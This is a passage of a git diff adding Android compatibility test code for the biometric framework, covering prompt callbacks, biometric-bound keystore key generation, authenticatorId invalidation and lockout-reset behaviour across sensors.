+                    testBiometricOrCredential_credentialButtonInvoked_forConfiguration(
+                            session, prop.getSensorId(), true /* shouldEnrollBiometric */,
+                            activitySession);
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testBiometricOrCredential_credentialButtonInvoked_biometricNotEnrolled()
+            throws Exception {
+        // Test behavior for each sensor when biometrics are not enrolled
+        try (CredentialSession credentialSession = new CredentialSession()) {
+            credentialSession.setCredential();
+            for (SensorProperties prop : mSensorProperties) {
+                try (BiometricTestSession session =
+                             mBiometricManager.createTestSession(prop.getSensorId());
+                     ActivitySession activitySession =
+                             new ActivitySession(this, CLASS_2_BIOMETRIC_OR_CREDENTIAL_ACTIVITY)) {
+                    testBiometricOrCredential_credentialButtonInvoked_forConfiguration(
+                            session, prop.getSensorId(), false /* shouldEnrollBiometric */,
+                            activitySession);
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testBiometricOrCredential_credentialButtonInvoked_noBiometricSensor()
+            throws Exception {
+        assumeTrue(mSensorProperties.isEmpty());
+        try (CredentialSession credentialSession = new CredentialSession()) {
+            try (ActivitySession activitySession =
+                         new ActivitySession(this, CLASS_2_BIOMETRIC_OR_CREDENTIAL_ACTIVITY)){
+                testBiometricOrCredential_credentialButtonInvoked_forConfiguration(null,
+                        0 /* sensorId */, false /* shouldEnrollBiometric */, activitySession);
+            }
+        }
+    }
+
+    private void testBiometricOrCredential_credentialButtonInvoked_forConfiguration(
+            @Nullable BiometricTestSession session, int sensorId, boolean shouldEnrollBiometric,
+            @NonNull ActivitySession activitySession)
+            throws Exception {
+        Log.d(TAG, "testBiometricOrCredential_credentialButtonInvoked_forConfiguration: "
+                + "sensorId=" + sensorId
+                + ", shouldEnrollBiometric=" + shouldEnrollBiometric);
+        if (shouldEnrollBiometric) {
+            assertNotNull(session);
+            waitForAllUnenrolled();
+            enrollForSensor(session, sensorId);
+        }
+
+        final TestJournalProvider.TestJournal journal = TestJournalProvider.TestJournalContainer
+                .get(activitySession.getComponentName());
+
+        // Launch test activity
+        activitySession.start();
+        mWmState.waitForActivityState(activitySession.getComponentName(),
+                WindowManagerState.STATE_RESUMED);
+        mInstrumentation.waitForIdleSync();
+        BiometricCallbackHelper.State callbackState;
+
+        BiometricServiceState state = getCurrentState();
+        Log.d(TAG, "State after launching activity: " + state);
+        if (shouldEnrollBiometric) {
+            waitForState(STATE_AUTH_STARTED_UI_SHOWING);
+            assertTrue(state.toString(), state.mSensorStates.sensorStates.get(sensorId).isBusy());
+            // Press the credential button
+            findAndPressButton(BUTTON_ID_USE_CREDENTIAL);
+            callbackState = getCallbackState(journal);
+            assertFalse(callbackState.toString(), callbackState.mNegativeButtonPressed);
+            assertEquals(callbackState.toString(), 0, callbackState.mNumAuthRejected);
+            assertEquals(callbackState.toString(), 0, callbackState.mNumAuthAccepted);
+            assertEquals(callbackState.toString(), 0, callbackState.mAcquiredReceived.size());
+            assertEquals(callbackState.toString(), 0, callbackState.mErrorsReceived.size());
+            waitForState(STATE_SHOWING_DEVICE_CREDENTIAL);
+        }
+
+        successfullyEnterCredential();
+
+        callbackState = getCallbackState(journal);
+        assertEquals(callbackState.toString(), 0, callbackState.mNumAuthRejected);
+        assertEquals(callbackState.toString(), 1, callbackState.mNumAuthAccepted);
+        assertEquals(callbackState.toString(), 0, callbackState.mAcquiredReceived.size());
+        assertEquals(callbackState.toString(), 0, callbackState.mErrorsReceived.size());
+    }
+
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricCallbackHelper.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricCallbackHelper.java
new file mode 100644
index 0000000..d7c9f4a
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricCallbackHelper.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import android.app.Activity;
+import android.hardware.biometrics.BiometricPrompt;
+import android.os.Bundle;
+import android.server.wm.TestJournalProvider;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+
+import java.util.ArrayList;
+
+public class BiometricCallbackHelper extends BiometricPrompt.AuthenticationCallback {
+
+    private static final String TAG = "BiometricCallbackHelper";
+    public static final String KEY = "key_auth_callback";
+
+    public static class State {
+        private static final String KEY_ERRORS_RECEIVED = "key_errors_received";
+        private static final String KEY_ACQUIRED_RECEIVED = "key_acquired_received";
+        private static final String KEY_NUM_ACCEPTED = "key_num_accepted";
+        private static final String KEY_NUM_REJECTED = "key_num_rejected";
+        private static final String KEY_NEGATIVE_BUTTON_PRESSED = "key_negative_button_pressed";
+
+        public final ArrayList<Integer> mErrorsReceived;
+        public final ArrayList<Integer> mAcquiredReceived;
+        public int mNumAuthAccepted;
+        public int mNumAuthRejected;
+        public boolean mNegativeButtonPressed;
+
+        public State() {
+            mErrorsReceived = new ArrayList<>();
+            mAcquiredReceived = new ArrayList<>();
+        }
+
+        public Bundle toBundle() {
+            final Bundle bundle = new Bundle();
+            bundle.putIntegerArrayList(KEY_ERRORS_RECEIVED, mErrorsReceived);
+            bundle.putIntegerArrayList(KEY_ACQUIRED_RECEIVED, mAcquiredReceived);
+            bundle.putInt(KEY_NUM_ACCEPTED, mNumAuthAccepted);
+            bundle.putInt(KEY_NUM_REJECTED, mNumAuthRejected);
+            bundle.putBoolean(KEY_NEGATIVE_BUTTON_PRESSED, mNegativeButtonPressed);
+            return bundle;
+        }
+
+        private State(ArrayList<Integer> errorsReceived, ArrayList<Integer> acquiredReceived,
+                int numAuthAccepted, int numAuthRejected, boolean negativeButtonPressed) {
+            mErrorsReceived = errorsReceived;
+            mAcquiredReceived = acquiredReceived;
+            mNumAuthAccepted = numAuthAccepted;
+            mNumAuthRejected = numAuthRejected;
+            mNegativeButtonPressed = negativeButtonPressed;
+        }
+
+        public static BiometricCallbackHelper.State fromBundle(@NonNull Bundle bundle) {
+            return new BiometricCallbackHelper.State(
+                    bundle.getIntegerArrayList(KEY_ERRORS_RECEIVED),
+                    bundle.getIntegerArrayList(KEY_ACQUIRED_RECEIVED),
+                    bundle.getInt(KEY_NUM_ACCEPTED),
+                    bundle.getInt(KEY_NUM_REJECTED),
+                    bundle.getBoolean(KEY_NEGATIVE_BUTTON_PRESSED));
+        }
+
+        @Override
+        public String toString() {
+            final StringBuilder sb = new StringBuilder();
+            sb.append("Accept: ").append(mNumAuthAccepted)
+                    .append(", Reject: ").append(mNumAuthRejected)
+                    .append(", Acquired Count: " ).append(mAcquiredReceived.size())
+                    .append(", Errors Count: ").append(mErrorsReceived.size())
+                    .append(", Negative pressed: ").append(mNegativeButtonPressed);
+            return sb.toString();
+        }
+    }
+
+    private final Activity mActivity;
+    private final State mState;
+
+    @Override
+    public void onAuthenticationError(int errorCode, CharSequence errString) {
+        Log.d(TAG, "onAuthenticationError: " + errorCode + ", " + errString);
+        mState.mErrorsReceived.add(errorCode);
+        updateJournal();
+    }
+
+    @Override
+    public void onAuthenticationHelp(int helpCode, CharSequence helpString) {
+        Log.d(TAG, "onAuthenticationHelp: " + helpCode + ", " + helpString);
+        mState.mAcquiredReceived.add(helpCode);
+        updateJournal();
+    }
+
+    @Override
+    public void onAuthenticationSucceeded(BiometricPrompt.AuthenticationResult result) {
+        Log.d(TAG, "onAuthenticationSucceeded");
+        mState.mNumAuthAccepted++;
+        updateJournal();
+    }
+
+    @Override
+    public void onAuthenticationFailed() {
+        Log.d(TAG, "onAuthenticationFailed");
+        mState.mNumAuthRejected++;
+        updateJournal();
+    }
+
+    void onNegativeButtonPressed() {
+        Log.d(TAG, "onNegativeButtonPressed");
+        mState.mNegativeButtonPressed = true;
+        updateJournal();
+    }
+
+    public BiometricCallbackHelper(@NonNull Activity activity) {
+        mActivity = activity;
+        mState = new BiometricCallbackHelper.State();
+
+        // Update with empty state. It's faster than waiting/retrying for null on CTS-side.
+        updateJournal();
+    }
+
+    private void updateJournal() {
+        TestJournalProvider.putExtras(mActivity,
+                bundle -> bundle.putBundle(KEY, mState.toBundle()));
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricCryptoTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricCryptoTests.java
new file mode 100644
index 0000000..baa3bd2
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricCryptoTests.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import static org.junit.Assert.assertThrows;
+
+import android.hardware.biometrics.BiometricPrompt;
+import android.hardware.biometrics.BiometricTestSession;
+import android.hardware.biometrics.SensorProperties;
+import android.platform.test.annotations.Presubmit;
+import android.security.keystore.KeyProperties;
+import android.util.Log;
+
+import org.junit.Test;
+
+import java.security.InvalidAlgorithmParameterException;
+
+/**
+ * Tests for cryptographic/keystore related functionality.
+ */
+@Presubmit
+public class BiometricCryptoTests extends BiometricTestBase {
+    private static final String TAG = "BiometricTests/Crypto";
+
+    @Test
+    public void testGenerateKeyWithoutDeviceCredential_throwsException() {
+        assertThrows("Key shouldn't be generatable before device credentials are enrolled",
+                Exception.class,
+                () -> Utils.generateBiometricBoundKey("keyBeforeCredentialEnrolled",
+                        false /* useStrongBox */));
+    }
+
+    @Test
+    public void testGenerateKeyWithoutBiometricEnrolled_throwsInvalidAlgorithmParameterException()
+            throws Exception {
+        try (CredentialSession session = new CredentialSession()){
+            session.setCredential();
+            assertThrows("Key shouldn't be generatable before biometrics are enrolled",
+                    InvalidAlgorithmParameterException.class,
+                    () -> Utils.generateBiometricBoundKey("keyBeforeBiometricEnrolled",
+                            false /* useStrongBox */));
+        }
+    }
+
+    @Test
+    public void testGenerateKeyWhenCredentialAndBiometricEnrolled() throws Exception {
+        try (CredentialSession credentialSession = new CredentialSession()) {
+            credentialSession.setCredential();
+
+            // 1) Test biometric or credential time-based key. These should be generatable
+            // regardless of biometric strength and enrollment, since credentials are enrolled.
+            int authType = KeyProperties.AUTH_BIOMETRIC_STRONG
+                    | KeyProperties.AUTH_DEVICE_CREDENTIAL;
+            Utils.createTimeBoundSecretKey_deprecated("credential_tb_d", false /* useStrongBox */);
+            Utils.createTimeBoundSecretKey("credential_tb", authType, false /* useStrongBox */);
+            if (mHasStrongBox) {
+                Utils.createTimeBoundSecretKey_deprecated("credential_tb_d_sb",
+                        true /* useStrongBox */);
+                Utils.createTimeBoundSecretKey("credential_tb_sb", authType,
+                        true /* useStrongBox */);
+            }
+
+            for (SensorProperties prop : mSensorProperties) {
+                final String keyPrefix = "key" + prop.getSensorId();
+                Log.d(TAG, "Testing sensor: " + prop + ", key name: " + keyPrefix);
+
+                try (BiometricTestSession session =
+                             mBiometricManager.createTestSession(prop.getSensorId())) {
+                    waitForAllUnenrolled();
+                    enrollForSensor(session, prop.getSensorId());
+
+                    if (prop.getSensorStrength() == SensorProperties.STRENGTH_STRONG) {
+                        // Test biometric-bound key
+                        Utils.generateBiometricBoundKey(keyPrefix, false /* useStrongBox */);
+                        if (mHasStrongBox) {
+                            Utils.generateBiometricBoundKey(keyPrefix + "sb",
+                                    true /* useStrongBox */);
+                        }
+                        // We can test initializing the key, which in this case is a Cipher.
+                        // However, authenticating it and using it is not testable, since that
+                        // requires a real authentication from the TEE or equivalent.
+                        BiometricPrompt.CryptoObject crypto =
+                                Utils.initializeCryptoObject(keyPrefix);
+                    } else {
+                        // 1) Test biometric auth-per-use keys
+                        assertThrows("Biometric auth-per-use key shouldn't be generatable with"
+                                        + " non-strong biometrics",
+                                InvalidAlgorithmParameterException.class,
+                                () -> Utils.generateBiometricBoundKey(keyPrefix,
+                                        false /* useStrongBox */));
+                        if (mHasStrongBox) {
+                            assertThrows("Biometric auth-per-use strongbox-backed key shouldn't"
+                                            + " be generatable with non-strong biometrics",
+                                    InvalidAlgorithmParameterException.class,
+                                    () -> Utils.generateBiometricBoundKey(keyPrefix,
+                                            true /* useStrongBox */));
+                        }
+
+                        // 2) Test biometric time-based keys
+                        assertThrows("Biometric time-based key shouldn't be generatable with"
+                                        + " non-strong biometrics",
+                                Exception.class,
+                                () -> Utils.createTimeBoundSecretKey(keyPrefix + "tb",
+                                        KeyProperties.AUTH_BIOMETRIC_STRONG,
+                                        false /* useStrongBox */));
+                        if (mHasStrongBox) {
+                            assertThrows("Biometric time-based strongbox-backed key shouldn't be"
+                                            + " generatable with non-strong biometrics",
+                                    Exception.class,
+                                    () -> Utils.createTimeBoundSecretKey(keyPrefix + "tb",
+                                            KeyProperties.AUTH_BIOMETRIC_STRONG,
+                                            true /* useStrongBox */));
+                        }
+                    }
+                }
+            }
+        }
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSecurityTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSecurityTests.java
new file mode 100644
index 0000000..92ebe5f
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSecurityTests.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import android.platform.test.annotations.Presubmit;
+
+@Presubmit
+public class BiometricSecurityTests extends BiometricTestBase {
+    private static final String TAG = "BiometricTests/Security";
+
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceState.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceState.java
new file mode 100644
index 0000000..4d606a8
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceState.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import static com.android.server.biometrics.nano.BiometricServiceStateProto.*;
+
+import androidx.annotation.IntDef;
+import androidx.annotation.NonNull;
+
+import com.android.server.biometrics.nano.BiometricServiceStateProto;
+import com.android.server.biometrics.nano.SensorServiceStateProto;
+
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.util.ArrayList;
+import java.util.List;
+
+public class BiometricServiceState {
+
+    /**
+     * Defined in biometrics.proto
+     */
+    @IntDef({
+            STATE_AUTH_IDLE,
+            STATE_AUTH_CALLED,
+            STATE_AUTH_STARTED,
+            STATE_AUTH_STARTED_UI_SHOWING,
+            STATE_AUTH_PAUSED,
+            STATE_AUTH_PAUSED_RESUMING,
+            STATE_AUTH_PENDING_CONFIRM,
+            STATE_AUTHENTICATED_PENDING_SYSUI,
+            STATE_ERROR_PENDING_SYSUI,
+            STATE_SHOWING_DEVICE_CREDENTIAL})
+    @Retention(RetentionPolicy.SOURCE)
+    @interface AuthSessionState {}
+
+    @AuthSessionState public final int mState;
+    @NonNull public final SensorStates mSensorStates;
+
+    @NonNull
+    public static BiometricServiceState parseFrom(@NonNull BiometricServiceStateProto proto) {
+        final List<SensorStates> sensorStates = new ArrayList<>();
+        for (SensorServiceStateProto sensorServiceState : proto.sensorServiceStates) {
+            sensorStates.add(SensorStates.parseFrom(sensorServiceState));
+        }
+
+        @AuthSessionState int state = proto.authSessionState;
+
+        return new BiometricServiceState(SensorStates.merge(sensorStates), state);
+    }
+
+    private BiometricServiceState(@NonNull SensorStates sensorStates, @AuthSessionState int state) {
+        mSensorStates = sensorStates;
+        mState = state;
+    }
+
+    @Override
+    public String toString() {
+        final StringBuilder sb = new StringBuilder();
+        sb.append("AuthSessionState: ").append(mState).append(". ");
+        sb.append(mSensorStates.toString());
+        return sb.toString();
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTests.java
new file mode 100644
index 0000000..8a5da86
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTests.java
@@ -0,0 +1,341 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.hardware.biometrics.BiometricTestSession;
+import android.hardware.biometrics.SensorProperties;
+import android.platform.test.annotations.Presubmit;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+
+import com.android.server.biometrics.nano.BiometricsProto;
+
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Tests for system server logic.
+ */
+@Presubmit
+public class BiometricServiceTests extends BiometricTestBase {
+    private static final String TAG = "BiometricTests/Service";
+
+    @Test
+    public void testAuthenticatorIdsInvalidated() throws Exception {
+        // On devices with multiple strong sensors, adding enrollments to one strong sensor
+        // must cause authenticatorIds for all other strong sensors to be invalidated, if they
+        // (the other strong sensors) have enrollments.
+        final List<Integer> strongSensors = new ArrayList<>();
+        for (SensorProperties prop : mSensorProperties) {
+            if (prop.getSensorStrength() == SensorProperties.STRENGTH_STRONG) {
+                strongSensors.add(prop.getSensorId());
+            }
+        }
+        assumeTrue("numStrongSensors: " + strongSensors.size(), strongSensors.size() >= 2);
+
+        Log.d(TAG, "testAuthenticatorIdsInvalidated, numStrongSensors: " + strongSensors.size());
+
+        for (Integer sensorId : strongSensors) {
+            testAuthenticatorIdsInvalidated_forSensor(sensorId, strongSensors);
+        }
+    }
+
+    /**
+     * Tests that the specified sensorId's authenticatorId when any other strong sensor adds
+     * an enrollment.
+     */
+    private void testAuthenticatorIdsInvalidated_forSensor(int sensorId,
+            @NonNull List<Integer> strongSensors) throws Exception {
+        Log.d(TAG, "testAuthenticatorIdsInvalidated_forSensor: " + sensorId);
+        final List<BiometricTestSession> biometricSessions = new ArrayList<>();
+
+        final BiometricTestSession targetSensorTestSession =
+                mBiometricManager.createTestSession(sensorId);
+
+        // Get the state once. This intentionally clears the scheduler's recent operations dump.
+        BiometricServiceState state = getCurrentStateAndClearSchedulerLog();
+
+        waitForAllUnenrolled();
+        Log.d(TAG, "Enrolling for: " + sensorId);
+        enrollForSensor(targetSensorTestSession, sensorId);
+        biometricSessions.add(targetSensorTestSession);
+        state = getCurrentStateAndClearSchedulerLog();
+
+        // Target sensorId has never been requested to invalidate authenticatorId yet.
+        assertEquals(0, Utils.numberOfSpecifiedOperations(state, sensorId,
+                BiometricsProto.CM_INVALIDATE));
+
+        // Add enrollments for all other sensors. Upon each enrollment, the authenticatorId for
+        // the above sensor should be invalidated.
+        for (Integer id : strongSensors) {
+            if (id != sensorId) {
+                final BiometricTestSession session = mBiometricManager.createTestSession(id);
+                biometricSessions.add(session);
+                Log.d(TAG, "Sensor " + id + " should request invalidation");
+                enrollForSensor(session, id);
+                state = getCurrentStateAndClearSchedulerLog();
+                assertEquals(1, Utils.numberOfSpecifiedOperations(state, sensorId,
+                        BiometricsProto.CM_INVALIDATE));
+
+                // In addition, the sensor that should have enrolled should have been the one that
+                // requested invalidation.
+                assertEquals(1, Utils.numberOfSpecifiedOperations(state, id,
+                        BiometricsProto.CM_INVALIDATION_REQUESTER));
+            }
+        }
+
+        // Cleanup
+        for (BiometricTestSession session : biometricSessions) {
+            session.close();
+        }
+    }
+
+    @Test
+    public void testLockoutResetRequestedAfterCredentialUnlock() throws Exception {
+        // ResetLockout only really needs to be applied when enrollments exist. Furthermore, some
+        // interfaces may take this a step further and ignore resetLockout requests when no
+        // enrollments exist.
+        List<BiometricTestSession> biometricSessions = new ArrayList<>();
+        for (SensorProperties prop : mSensorProperties) {
+            BiometricTestSession session = mBiometricManager.createTestSession(prop.getSensorId());
+            enrollForSensor(session, prop.getSensorId());
+            biometricSessions.add(session);
+        }
+
+        try (CredentialSession credentialSession = new CredentialSession()) {
+            credentialSession.setCredential();
+
+            // Explicitly clear the state so we can check exact number below
+            final BiometricServiceState clearState = getCurrentStateAndClearSchedulerLog();
+            credentialSession.verifyCredential();
+
+            Utils.waitFor("Waiting for password verification and resetLockout completion", () -> {
+                try {
+                    BiometricServiceState state = getCurrentState();
+                    // All sensors have processed exactly one resetLockout request. Use a boolean
+                    // to track this so we have better logging
+                    boolean allResetOnce = true;
+                    for (SensorProperties prop : mSensorProperties) {
+                        final int numResetLockouts = Utils.numberOfSpecifiedOperations(state,
+                                prop.getSensorId(), BiometricsProto.CM_RESET_LOCKOUT);
+                        Log.d(TAG, "Sensor: " + prop.getSensorId()
+                                + ", numResetLockouts: " + numResetLockouts);
+                        if (numResetLockouts != 1) {
+                            allResetOnce = false;
+                        }
+                    }
+                    return allResetOnce;
+                } catch (Exception e) {
+                    return false;
+                }
+            }, unused -> fail("All sensors must receive and process exactly one resetLockout"));
+        }
+
+        for (BiometricTestSession session : biometricSessions) {
+            session.close();
+        }
+    }
+
+    @Test
+    public void testLockoutResetRequestedAfterBiometricUnlock_whenStrong() throws Exception {
+        assumeTrue(mSensorProperties.size() > 1);
+
+        // ResetLockout only really needs to be applied when enrollments exist. Furthermore, some
+        // interfaces may take this a step further and ignore resetLockout requests when no
+        // enrollments exist.
+        Map<Integer, BiometricTestSession> biometricSessions = new HashMap<>();
+        for (SensorProperties prop : mSensorProperties) {
+            BiometricTestSession session = mBiometricManager.createTestSession(prop.getSensorId());
+            enrollForSensor(session, prop.getSensorId());
+            biometricSessions.put(prop.getSensorId(), session);
+        }
+
+        // When a strong biometric sensor authenticates, all other biometric sensors that:
+        //  1) Do not require HATs for resetLockout (e.g. IBiometricsFingerprint@2.1) or
+        //  2) Require HATs but do not require challenges (e.g. IFingerprint@1.0, IFace@1.0)
+        // schedule and complete a resetLockout operation.
+        //
+        // To be more explicit, sensors that require HATs AND challenges (IBiometricsFace@1.0)
+        // do not schedule resetLockout, since the interface has no way of generating multiple
+        // HATs with a single authentication (e.g. if the user requested to unlock an auth-bound
+        // key, the only HAT returned would have the keystore operationId within).
+        for (SensorProperties prop : mSensorProperties) {
+            if (prop.getSensorStrength() != SensorProperties.STRENGTH_STRONG) {
+                Log.d(TAG, "Skipping sensor: " + prop.getSensorId()
+                        + ", strength: " + prop.getSensorStrength());
+                continue;
+            }
+            testLockoutResetRequestedAfterBiometricUnlock_whenStrong_forSensor(
+                    prop.getSensorId(), biometricSessions.get(prop.getSensorId()));
+        }
+
+        for (BiometricTestSession session : biometricSessions.values()) {
+            session.close();
+        }
+    }
+
+    private void testLockoutResetRequestedAfterBiometricUnlock_whenStrong_forSensor(int sensorId,
+            @NonNull BiometricTestSession session)
+            throws Exception {
+        Log.d(TAG, "testLockoutResetRequestedAfterBiometricUnlock_whenStrong_forSensor: "
+                + sensorId);
+        final int userId = 0;
+
+        BiometricServiceState state = getCurrentState();
+        final List<Integer> eligibleSensorsToReset = new ArrayList<>();
+        final List<Integer> ineligibleSensorsToReset = new ArrayList<>();
+        for (SensorProperties prop : mSensorProperties) {
+            if (prop.getSensorId() == sensorId) {
+                // Do not need to resetLockout for self
+                continue;
+            }
+
+            SensorStates.SensorState sensorState = state.mSensorStates.sensorStates
+                    .get(prop.getSensorId());
+            final boolean supportsChallengelessHat =
+                    sensorState.isResetLockoutRequiresHardwareAuthToken()
+                            && !sensorState.isResetLockoutRequiresChallenge();
+            final boolean doesNotRequireHat =
+                    !sensorState.isResetLockoutRequiresHardwareAuthToken();
+            Log.d(TAG, "SensorId: " + prop.getSensorId()
+                    + ", supportsChallengelessHat: " + supportsChallengelessHat
+                    + ", doesNotRequireHat: " + doesNotRequireHat);
+            if (supportsChallengelessHat || doesNotRequireHat) {
+                Log.d(TAG, "Adding eligible sensor: " + prop.getSensorId());
+                eligibleSensorsToReset.add(prop.getSensorId());
+            } else {
+                Log.d(TAG, "Adding ineligible sensor: " + prop.getSensorId());
+                ineligibleSensorsToReset.add(prop.getSensorId());
+            }
+        }
+
+        // Explicitly clear the log so that we can check the exact number of resetLockout operations
+        // below.
+        state = getCurrentStateAndClearSchedulerLog();
+
+        // Request authentication with the specified sensorId that was passed in
+        showDefaultBiometricPromptAndAuth(session, sensorId, userId);
+
+        // Check that all eligible sensors have resetLockout in their scheduler history
+        state = getCurrentState();
+        for (Integer id : eligibleSensorsToReset) {
+            assertEquals("Sensor: " + id + " should have exactly one resetLockout", 1,
+                    Utils.numberOfSpecifiedOperations(state, id, BiometricsProto.CM_RESET_LOCKOUT));
+        }
+
+        // Check that all ineligible sensors do not have resetLockout in their scheduler history
+        for (Integer id : ineligibleSensorsToReset) {
+            assertEquals("Sensor: " + id + " should have no resetLockout", 0,
+                    Utils.numberOfSpecifiedOperations(state, id, BiometricsProto.CM_RESET_LOCKOUT));
+        }
+    }
+
+    @Test
+    public void testLockoutResetNotRequestedAfterBiometricUnlock_whenNotStrong() throws Exception {
+        assumeTrue(mSensorProperties.size() > 1);
+
+        // ResetLockout only really needs to be applied when enrollments exist. Furthermore, some
+        // interfaces may take this a step further and ignore resetLockout requests when no
+        // enrollments exist.
+        Map<Integer, BiometricTestSession> biometricSessions = new HashMap<>();
+        for (SensorProperties prop : mSensorProperties) {
+            BiometricTestSession session = mBiometricManager.createTestSession(prop.getSensorId());
+            enrollForSensor(session, prop.getSensorId());
+            biometricSessions.put(prop.getSensorId(), session);
+        }
+
+        // Sensors that do not meet BIOMETRIC_STRONG are not allowed to resetLockout for other
+        // sensors.
+        // TODO: Note that we are only testing STRENGTH_WEAK for now, since STRENGTH_CONVENIENCE is
+        //  not exposed to BiometricPrompt. In other words, we currently do not have a way to
+        //  request and finish authentication for STRENGTH_CONVENIENCE sensors.
+        for (SensorProperties prop : mSensorProperties) {
+            if (prop.getSensorStrength() != SensorProperties.STRENGTH_WEAK) {
+                Log.d(TAG, "Skipping sensor: " + prop.getSensorId()
+                        + ", strength: " + prop.getSensorStrength());
+                continue;
+            }
+
+            testLockoutResetNotRequestedAfterBiometricUnlock_whenNotStrong_forSensor(
+                    prop.getSensorId(), biometricSessions.get(prop.getSensorId()));
+        }
+
+        // Cleanup
+        for (BiometricTestSession s : biometricSessions.values()) {
+            s.close();
+        }
+    }
+
+    private void testLockoutResetNotRequestedAfterBiometricUnlock_whenNotStrong_forSensor(
+            int sensorId, @NonNull BiometricTestSession session) throws Exception {
+        Log.d(TAG, "testLockoutResetNotRequestedAfterBiometricUnlock_whenNotStrong_forSensor: "
+                + sensorId);
+        final int userId = 0;
+
+        // Explicitly clear the log so that we can check the exact number of resetLockout operations
+        // below.
+        BiometricServiceState state = getCurrentStateAndClearSchedulerLog();
+
+        // Request authentication with the specified sensorId that was passed in
+        showDefaultBiometricPromptAndAuth(session, sensorId, userId);
+
+        // Check that no other sensors have resetLockout in their queue
+        for (SensorProperties prop : mSensorProperties) {
+            if (prop.getSensorId() == sensorId) {
+                continue;
+            }
+            state = getCurrentState();
+            assertEquals("Sensor: " + prop.getSensorId() + " should have no resetLockout", 0,
+                    Utils.numberOfSpecifiedOperations(state, prop.getSensorId(),
+                            BiometricsProto.CM_RESET_LOCKOUT));
+        }
+    }
+
+    @Test
+    public void testBiometricsRemovedWhenCredentialRemoved() throws Exception {
+        // Manually keep track of sessions and do not use autocloseable, since we do not want the
+        // test session to automatically cleanup and remove enrollments once we leave scope.
+        final List<BiometricTestSession> biometricSessions = new ArrayList<>();
+
+        try (CredentialSession session = new CredentialSession()) {
+            session.setCredential();
+            for (SensorProperties prop : mSensorProperties) {
+                BiometricTestSession biometricSession =
+                        mBiometricManager.createTestSession(prop.getSensorId());
+                biometricSessions.add(biometricSession);
+                enrollForSensor(biometricSession, prop.getSensorId());
+            }
+        }
+
+        // All biometrics should now be removed, since CredentialSession removes device credential
+        // after losing scope.
+        waitForAllUnenrolled();
+        // In case any additional cleanup needs to be done in the future, aside from un-enrollment
+        for (BiometricTestSession session : biometricSessions) {
+            session.close();
